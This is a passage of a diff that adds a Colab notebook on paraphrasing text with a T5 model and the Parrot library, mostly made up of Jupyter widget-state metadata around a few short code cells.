+            "b96583c353884a4e8f21bf92bdcd0088",
+            "137705f8b18f40199162c524c85ae0a4"
+          ]
+        },
+        "id": "1M5tOdBNB6VR",
+        "outputId": "8bb25f8e-4cb1-4521-e922-aed91c0adfce"
+      },
+      "outputs": [],
+      "source": [
+        "tokenizer = AutoTokenizer.from_pretrained(\"Vamsi/T5_Paraphrase_Paws\")\n",
+        "model = AutoModelForSeq2SeqLM.from_pretrained(\"Vamsi/T5_Paraphrase_Paws\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "0ONGGLOMHUtF",
+        "outputId": "3769280f-a3e0-4a1a-8785-ea8ee220ad3b"
+      },
+      "outputs": [],
+      "source": [
+        "get_paraphrased_sentences(model, tokenizer, \"paraphrase: \" + \"One of the best ways to learn is to teach what you've already learned\")"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "Wzo28toRzhGZ",
+        "outputId": "dddc20d9-d326-473c-a191-7998f153c8cb"
+      },
+      "outputs": [],
+      "source": [
+        "# !pip install git+https://github.com/PrithivirajDamodaran/Parrot_Paraphraser.git"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/",
+          "height": 945,
+          "referenced_widgets": [
+            "5e6a6c1406c841a98ef115392e35dd40",
+            "738df3c939314758b9f35b1218451b5d",
+            "e13c5fa8791a473d9b3c428f552a65bf",
+            "cbd388a36e2242efbd7d8c26c2f51503",
+            "72349d7da012411aa9d4be9df0596ea7",
+            "2270c02128654e608321f3dde4722a0c",
+            "f247203f38eb4ebd9c0de208ac50791f",
+            "81fb2fbc958c41f79c5eb5d0568a1ad7",
+            "ee70bf84aa4c4dc2bdca9f43ca037202",
+            "52e70340a8834a3e94dd141a7aeb09f0",
+            "3204c0d867754a42889d3ad150bc803e",
+            "5d5b13b71d0245699e2fb45b57d6250a",
+            "bf3d1f5feccf46f7b0fe97d0b784a685",
+            "c869020b9b43497397b0a2d30868729d",
+            "c1fea2bd80284249afee28ab79b0c925",
+            "4a6fcd11063d4698b996904fd258a1d0",
+            "99f8e2ea08a54d5da15ebf0513c4df11",
+            "b94893d2d6e34ec09eadda65582bb57f",
+            "f5999a5609324760a880f30dc11f0616",
+            "291c99c7bf334e48ba6b237d14138f5b",
+            "173e275358c74e54ae8007ebfb8abc55",
+            "efedbdfaa46b40e28f744d8ea8892fc6",
+            "0740d2dda01e4fd099f22e668e15e86c",
+            "f7f29d1c21ee4b12bf5de7de1a7a8dff",
+            "36bd1bcc785e4db3bb6c0bc80fa4a45c",
+            "b5f36f62fd704cb9a448305458f27238",
+            "a5162ec682cc44d1a39a2400697acfa9",
+            "dc531a5f3f5e49fca52eb5b28bec090e",
+            "5bd251dbc01a4e7586d5b1e4373a3357",
+            "e8f025177d2c4e4a97d982ae7c0d221c",
+            "d76d73d373c54f278101230e1e643e66",
+            "c3a95c1c7c2d47c0a52d1d3f7b2f7193",
+            "f443f63ec7d049c895e463bc5f98c191",
+            "a4fc19dd5e8d4c7dba05a192d023b2cf",
+            "b2de980b184d449cb0d37bf86672ac74",
+            "b09adc774e894f2fab5f72881985a04b",
+            "60958370fb1142a2b8cf1d473f71d2ab",
+            "e465db2ff0274910a6131beafdeb570b",
+            "f44806865e174c1aa9afe39c235440dd",
+            "74d7589e9bac4f0e9144f10be9b84926",
+            "2ed8085a8e4541c09ea9ec0f215a543c",
+            "51398c089c3d4ea0baee3a965ae04972",
+            "23ab71d00c3d4ea599c200024aaa9ad0",
+            "0be32907fa5b490eb1d14bbb9e1455db",
+            "4a6b117f57164cc8aa0f34f73d15e291",
+            "ddf5e4947848483ab83d67c5a58d7750",
+            "2a416594de744d5fa35d961b9f167e40",
+            "d2a00c5b5a414a998fe70a5bc04ef990",
+            "315240aedfce4fba997dc6f1cde76b88",
+            "f7297bd1efd24a2096b5f4017b220643",
+            "20920dba7f524f2e9c38199114635f8b",
+            "26f5b824162c4594a0ad178f67cf6186",
+            "f7349e723bca4e699d39f1d8702f0be1",
+            "0edadb813122420c9f4b9d3200fcf27e",
+            "97d49dcd201c4b43bd28d14b60834429",
+            "9d9938fb65f74a489993ae5a29b9d8e8",
+            "68c74e97b5a8407b9d22e8154ed7f712",
+            "4f1c774e457e45788a4bd2c8d93a7a33",
+            "223aca713efa4584b14544858efe451e",
+            "674124ad99b74606974a35e39d9d64b8",
+            "388ed006e94a4970af2d8ce095174233",
+            "d4f3ce9f2be548ff83fd8a25f4f8a98d",
+            "51294dd3952e43ffb93419d80206c009",
+            "cdebc94b0884439ba994b20ccff85e51",
+            "334cb7cc7a30431fb966da39f0b987c2",
+            "41241cf9767d4b5e9e4342b49827addd",
+            "3019d023fa6141bf9b5810150463e86c",
+            "488086c45992441fbde55ad995cd25f7",
+            "02adc6964fc841b191648935a8582d16",
+            "7c77c4cedb3f4dcaac3e344990e3955f",
+            "ac236caac966462a820274d645bda09d",
+            "83e550a9d1234b6faff1285588a4db36",
+            "2ed1c1b6282a48f38fb4db30c9758481",
+            "1cbe17e4d56d4ccf9b644f8633efb73b",
+            "7ddaa14fe5c84a16ade3bbfe9ea958d0",
+            "cfd7e14964f2462ebf976e5e104b7cf0",
+            "ded0d3c386494210a2a1cee8868ff28a",
+            "c3bfc10c18dd445e8551a277e1d1a5b4",
+            "7158271455c24304908f54673337a45b",
+            "abd9411c99e74e428ba3ebb65ffed365",
+            "8934508e056d422e88d7c41f383e483a",
+            "76940a4c52d246fab882a7f0f8f24d72",
+            "9c7962f1be504e999d0381ef8a7f50b4",
+            "427f32740fd24613b857cb35f296e708",
+            "cef8a9fb6e894ccf83cd9e9221891bcf",
+            "10a5b8513bef47a4a941ce05623bcf84",
+            "f8a49feb20174213b9b3745344e18203",
+            "d5db9f65c0a14747830e195683196f7b",
+            "6e4b1e9c7ad242b9b46b0247cb1a5b72",
+            "9d439c7d992c4b75b216a81e6139aeb3",
+            "68ebeda8423e4bb8843dfb5ab5325b3a",
+            "3aa4eb22905d4ff7b1de55e88f18284e",
+            "12c3328918f141cd8abe8a051a99208f",
+            "818a109920cf4048a1167f2fc7355243",
+            "258bb2d0ad2040adb2e73449c3da1627",
+            "ad040fe4c6c84bdc830f4c784ee8e63b",
+            "8cd757b4bee1442194a1fdaaca81f5d4",
+            "4e37c900ea394fb09e2d0b2101ff95ba",
+            "52938dbd04b14f5691035139ec8a72f7",
+            "af1b720dc9f24c318c433106357f01a6",
+            "9587feaa0ee44d2eba46b34eaa93e8a1",
+            "4cac51dbac4c4281831eba5bfda9dabe",
+            "1d324284e0fa429f9fa0b0aa5eadc616",
+            "612808dcd7064061a9c8358b986f225c",
+            "1f241eb11bb84543af39005814a79c87",
+            "edc8d64f14dd4363936aa6dc69306621",
+            "ba22c333c270494ab1a871b64cbf775f",
+            "4714cacaf5f649a4b736cffb54f61429",
+            "f1134fd6a3e04d8b84ceb76c0d3c1faa",
+            "1f7598f2179c49f0b7a2b80a29463007",
+            "e9e29e66f05443f89bf5e053920c0ee7",
+            "2676b805948648c5a422a66956a0f389",
+            "bf15388cd7ae4ce898262e3324ab4924",
+            "02fab3bb88564ace8639ece0b2dd4612",
+            "d1eec2c1f43d422e882408df6215e855",
+            "4fb2bc4ce4e14fd78da1b3a128dfdba3",
+            "90f16d88293b4968a59c5ce2f121038b",
+            "45a651237d214adaa2c164d25e38fe6d",
+            "23bb7bed0eab4d08a5acb5e8956dfbc4",
+            "5c5acab3637049c0b63683653d7e4014",
+            "0a1169695a024c109ec2ad72fcd8e112",
+            "0e8ad173a82d43d8b77c3c6bef962bdf",
+            "597a0fe8b94e4641b8b69bc392a616ea",
+            "574ad7e60e094412960be9762389eaae",
+            "de3627eaa528448893978592542733e5",
+            "dda27d7452514c43b7a20b9736ad3e7d",
+            "5548b9a728bd406cb81448a8600273d9",
+            "6387713d4afe4bc0ac4b93d07e68bba8",
+            "4e1b9b10cee9449b8dd199b05d77504e",
+            "dd83a6c77fb4484584f01767d553499b",
+            "776a604ae27a4c6d8cf49e84aeefa2da",
+            "72b85f88cb274e7b83b3bcf183d80997",
+            "6c97cd7d1c9642e3bb0a2db35f7d254e",
+            "48140db808c445ef842addfaacbd274e",
+            "1399ce80407d4a04ae58a972b027e251",
+            "ba819fd5899b4e26915129c4d1ae323a",
+            "97b0390278424f8897b073677cfc5ce9",
+            "f7987a6948cf4ad0819371cad4c6bb1d",
+            "9356897f789d46ddb246cc90f9cbf5ec",
+            "6bc4646173104ebb8cb45515673a709e",
+            "61a7a19b4e7f4e02a138f6c82daccef3",
+            "a7ee417191b0409aa23dd6d6a696da32",
+            "2756b99c1d084219b7847d7644240ade",
+            "441d4fbf8065415f906e36e493e8ce15",
+            "a569ef16bd54481da270b628b8a38dc7",
+            "8ce12bc907ab4c819d56905afb0ea6d3",
+            "7ed8efa3a9ec47f1b1221b86d8844ec7",
+            "60eb8788f58d4e5992c23b53e2dac299",
+            "9312531b7d87427995a7bd8068e1e96c",
+            "f60e53f078f14b38802232b54cb9a37d",
+            "a2c35454d0584604bed05eb87cdd6a5f",
+            "3615a2d5f4f44a0caf93b7bda9f92fd8",
+            "dfddae793d2d4be1aeabc47fd38675de",
+            "193fa29fc74f448a96516cac5d53d864",
+            "50bd709138344fcf9fe9e57a5cdcc845",
+            "07d945887a124977be98d016c62f0666",
+            "83d54153e6ee4ab1bac38ee0f2b35aba",
+            "d8e34cbde5a04c648203a18b57c86fca",
+            "35d89946664149f8b69afd67133b877c",
+            "d9be4c89a55c4d36a0aac652f920656f",
+            "018a4ee53ccd4a2aa3b97c18dc4c6fbf",
+            "2509398a0f5d4c2ebea382066448d060",
+            "28fbffc4967e4e61ae2ef4ab76fd025e",
+            "03d4efa1eb774133950f8c5f6193b141",
+            "f4bb72710c6e41baa74a13ee392096a5",
+            "2a102143c0104a779d603a6bdb3660fa",
+            "253e08d6aebf4490944241be5c98d887",
+            "a3d3d82a9773428a9a25129bfa24e767",
+            "7c8a0570e9b740bda031cb3b612b0a55",
+            "55a5498bc8054b89aca1dec1586d5c37",
+            "5cbc66891157476c8f43663695bdb2b3",
+            "3632a37fad9e4f9ca6e74a3cd48e1926",
+            "df104bcc4e0e4310881a9b8108379d05",
+            "d220ce12e9e04624ab5ddf28424e8e9d",
+            "27aeec979d31476bb143313e7418725e",
+            "eb51d3f98aeb41d98bf014b5ab36f439",
+            "654b6f85254e4f34a11629857884ef70",
+            "b82612788b2347eb9c75035d9c93bc3a",
+            "350ec18692bf47e4830c323cc9507205",
+            "7a2b492455264f99882321fc497bf50a",
+            "6796e003990f4eb88f8a31cc2d2d70e8",
+            "1884398ce5494e3eb9a42e3364bed8ca",
+            "60ee1b216be642a7b0153b066093d434",
+            "d160344792784c4782fa98d11deb52a3",
+            "40c757566f6b42f7bded1f4bc25b64b0",
+            "39e30ef21b65498a8e46cca071ec3a34",
+            "211d139eafbf4105b4e6578da8b017de",
+            "685558e2fe194c2a9f190fb4a042def5",
+            "2afd9510b70944f28043a89ec4505c5c",
+            "ca28e6c2293348d699f18cd2468b0a3e",
+            "15726e462972430d81534ef1804e8b56",
+            "ba63f63323334fe89d70bd7708ab2c39",
+            "d95b3a185d504570a755be15eef6d295",
+            "e0544d90326b4f9fb27cfda1bbd58be2",
+            "7d6f6d3aa8554d2f91412a6b018911f5",
+            "2a51b3687a6c45cd8f647066bbdb571c",
+            "a83a85e453ab4aff8e9c95389dfbcb2b",
+            "80beaf6f0a5c42dab3796dbab8e3c2b8",
+            "ac640696c32149c49b874c0a210ec95f",
+            "674320eb489145aaac546a1368f523a6",
+            "ae8c4297c8bf4bebb265871af9836a55",
+            "260dfd7b8487495390923fe89089a7f5",
+            "05e1b9bc07bb4582a6a9773f1c780b08",
+            "d443cce19f4d4dfa85a00e7d97ec291d",
+            "0175ba05a1a247868bb72e083833b8cd",
+            "fd887280c6a046e983e376f008258c3b",
+            "61d9001132a34d7991e7f97e9180429d",
+            "ea91573ae56b4f42b2a1ab742808b774",
+            "a285ee78e0744e55a1a7b74a5d03a457",
+            "fd78fe87023540e3937bf0229a7c9455",
+            "0d63a3b0ce6c4921b06c7a9010e959d3",
+            "34192abf8773479e903f93ead660ed5f",
+            "dce0babcd94942739a3b5baa056729f3",
+            "1888204862754106b13df2b562b08d8a",
+            "07e8835f207749fdbb9d621f2d361c84",
+            "df24510d1a4a4be3a2969d5a1c30eb42",
+            "dc14b30624c4403e98df85494d444eae",
+            "d0d36a8655054c7e915b92a1fbde521f",
+            "cdb2cecb1ea64420912e0909f041d480",
+            "f4218286d73b445f999fcb28d8718be1",
+            "6ce3c851ffb04802a25563c571090965",
+            "db54eaec048a47ab954bd227c319de37",
+            "b6a0781e588e44fdb0c1c039d67565f9",
+            "cc87b4647f1a49d4b8f341eb4f94993c",
+            "847c788ad0d74532ab133f598aabe893",
+            "a20cddef0f084bb08495a01557b8ff93",
+            "d2a33245573244518decbc50aa18d4fd",
+            "728a0f5f5b6740349ae326fc07a94c39",
+            "e2f53481e5164639981f727a14437fae",
+            "209773cf4ef14a16b3ce53d2414ade48",
+            "161b3a16f27b47ffa3b71ccd609dc32d",
+            "695046012c094e3f8fa5e6a22db489b8",
+            "c244d51cfbaf4aa9a67fe32df1b40ef2",
+            "da2ce014843a46dbb56a1040e880f52e",
+            "06badb4c7c2841ec81fda124200b78c7",
+            "4282bb7c25f24ba793391b9399397cdd",
+            "64b5a6f8d2b64f6888f044af28fec482",
+            "1b46ba28728b45d89bc66640e5c12017",
+            "000edec0ff0b45a58b55b579af201a14",
+            "89fefc52dab444c0bad0cc276b7aaed1",
+            "0b89371281014a8db151d84e86499ff3",
+            "dbe0e5d8f20f4332af2c46f7cf44ddbc",
+            "5faf032ed8054ae6b1ee7ae65f52ac5d",
+            "ea3f895078b44512a6984454b5b928fb",
+            "530735e74b9948eaa9056a83f809b697",
+            "69cfb5b1ec0b41c7b146a55e94ac0811",
+            "d037ec7011bd445c902b5e669b68feda",
+            "87db17604d934baa8462dfeb8995c941",
+            "349505d2b45c45fa967bb78887b5fb41",
+            "113ca3012eff4d1faea67698f6a7788f",
+            "e45b3ed13185494d820e8c60cc31607e",
+            "ae16f8bdc41247538db7173e85afe444",
+            "975204d9820b4b29a0dffc154dc3e0e6",
+            "24375d1fad374d298150996adcf726c9",
+            "509d24b29e7042ac810ab0bf3f06efd3",
+            "b2331f427ac94a809a21732e9a8d8670",
+            "05b4e3b0800742b18bbb289ee45bc68b",
+            "edf26b3e8092401d87cb31fdd56eca56",
+            "d4c044d2c96648d684d447df1830baf4",
+            "7d7e49ec0f2a48dd955dac133086cc26",
+            "c3d02b4bdb5146ada4e53a32dc35febc",
+            "12ff54a14fc7431bb32e7b21bb5d5d3a",
+            "4a0a2b21a2984d738e880f567a017261",
+            "709ac2c430454dad92c650b5acc688a9",
+            "f6a7db060b7445d7996af7903368325d",
+            "8f39ab0076074ed9aedecf74e23cd0e9",
+            "a4d5aef0d776412a8be4c76ae7417146",
+            "c3042320c0534701941f46d204f1693b",
+            "1ff35a472e4a4d5fbb7cadc70dcfdded",
+            "ca7ffef490174bd1a8084cdbe4f71eb2",
+            "056e20803e0841c7b418a70169e9426f",
+            "a6cd693cabba4723b5ed8daeefe88916",
+            "ee3536dd987045699fe4a60893461e9f",
+            "94f126aaf79944bebda94fbbfcd19f31",
+            "7e3f8c8cdb0e4f7dbe9ce90660331702",
+            "1f22dc66835644829e0c129ca80418e8",
+            "f2cc42d8fa9f44ff8dcf7c909a162c3d",
+            "b2921f5c71ae4c089d405b861bbf8329",
+            "39f71afbfd024770b1c04f263aad1a9c",
+            "3cd41eb2f2214632ac9e209c91634ffa",
+            "1af7492be4f74b378a391b0e91100b80",
+            "e93406e73e374ef1b2022154fd3fc42f",
+            "93ff8078a5f946bf9cf3bf798dba91d0",
+            "08d94314477a40fe938684c636727c1d",
+            "eed2ff4994904a8593805423ad883758",
+            "ebf0551cfd8b48058fc6f0d39e2838d1",
+            "36705016a501403b832dfafe35932607",
+            "dead2f9e19294a8a8e3148dc6c42c25b",
+            "619905d3f5b44708a37bc724b396ffb9",
+            "9e2230dc92d74319ac169bc472e58a51",
+            "e9b1f3ec1dd84866a3e8fa83795bb3f4",
+            "fc8c9c80f0e542f8bbf3e505cc6495aa",
+            "6955009d3c9a4ac49a74de735e5682a4",
+            "91bf1ef20b4342e988e1b4f0f54e33a1",
+            "5b9203920132437db5b017ba09a39b0b",
+            "59cdd613ead44eb78079675ad1144685",
+            "614e698caaed457e8461b0118f39eba9",
+            "13b54aa3150047dc8ae2dc2a7adc5323",
+            "3daa9562b36a4ce2b27302e27937b793",
+            "8e74b5c528344915af85b5b5676f5dbf",
+            "aaab926fd3094a0aa06bbba734ee1cc2",
+            "47a3ac34306b47ac88ce394201d7d979",
+            "51489d4ab908478ebfb5a7ac43d411d4",
+            "5c5f650dbbbd46b4b46eadfe07b50e70",
+            "ab07c3621d754170beab6ee96342f1c5",
+            "89c4231360e54d5b88df6499d691dc69",
+            "d02e64decf1a45f3b843e239fa51a0aa",
+            "2f38e041d47c4e7291eeeafb483af317",
+            "7e371bc4bb454c9681d5bdc1980a374f",
+            "6e4f8d19fd8d46a1b828cbcae50b5e13",
+            "4558f546896b41caaadc3b176004370a",
+            "ed2b0b656ce643f9abd29b4951b73a0e",
+            "3eebaaebfb484af599541c3c36850e07",
+            "85676b3aefec4544a8f2189465f9bf37",
+            "0cce19853cf34654a295fdec10cee7e1",
+            "4203ae124de64bbf82b42c1cd17044cd",
+            "617f006de72348e19c544a49631da5b6",
+            "102e2d5de57641f3bda341770c3d6f20",
+            "14144ed4056b4c0693c54ee3d4d3be52"
+          ]
+        },
+        "id": "SMFGB_iZANLt",
+        "outputId": "504fcf63-5f1a-434c-91fb-49587702b1f3"
+      },
+      "outputs": [],
+      "source": [
+        "from parrot import Parrot\n",
+        "\n",
+        "parrot = Parrot()"
+      ]
+    },
+    {
+      "cell_type": "code",
+      "execution_count": null,
+      "metadata": {
+        "colab": {
+          "base_uri": "https://localhost:8080/"
+        },
+        "id": "t5yWdZ_mAXp8",
+        "outputId": "45bec1f4-7aaa-458d-8eb9-325296b834e8"
+      },
+      "outputs": [],
+      "source": [
+        "phrases = [\n",
+        "  sentence,\n",
+        "  \"One of the best ways to learn is to teach what you've already learned\",\n",
+        "  \"Paraphrasing is the process of coming up with someone else's ideas in your own words\"\n",
+        "]\n",
+        "\n",
+        "for phrase in phrases:\n",
+        "  print(\"-\"*100)\n",
+        "  print(\"Input_phrase: \", phrase)\n",
+        "  print(\"-\"*100)\n",
+        "  paraphrases = parrot.augment(input_phrase=phrase)\n",
+        "  if paraphrases:\n",
+        "    for paraphrase in paraphrases:\n",
+        "      print(paraphrase)"
+      ]
+    }
+  ],
+  "metadata": {
+    "colab": {
+      "collapsed_sections": [],
+      "name": "Paraphrasing-with-Transformers_PythonCode.ipynb",
+      "provenance": []
+    },
+    "kernelspec": {
+      "display_name": "Python 3",
+      "name": "python3"
+    },
+    "language_info": {
+      "name": "python"
+    },
+    "widgets": {
+      "application/vnd.jupyter.widget-state+json": {
+        "0004381798fc4521b4ae4ef6feeba2f6": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "000edec0ff0b45a58b55b579af201a14": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "00ba17e28d8947059dfe5b944b11006a": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "0175ba05a1a247868bb72e083833b8cd": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "018a4ee53ccd4a2aa3b97c18dc4c6fbf": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "01f1934240884fdca4b258da9162eea8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "02adc6964fc841b191648935a8582d16": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_2ed1c1b6282a48f38fb4db30c9758481",
+            "placeholder": "",
+            "style": "IPY_MODEL_83e550a9d1234b6faff1285588a4db36",
+            "value": "Downloading: 100%"
+          }
+        },
+        "02fab3bb88564ace8639ece0b2dd4612": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_23bb7bed0eab4d08a5acb5e8956dfbc4",
+            "max": 1355863,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_45a651237d214adaa2c164d25e38fe6d",
+            "value": 1355863
+          }
+        },
+        "03c01714ba8e4993a24e5e55ec26fd9c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "03d4efa1eb774133950f8c5f6193b141": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "056e20803e0841c7b418a70169e9426f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "05b4e3b0800742b18bbb289ee45bc68b": {
+          "model_module": "@jupyter-widgets/controls",
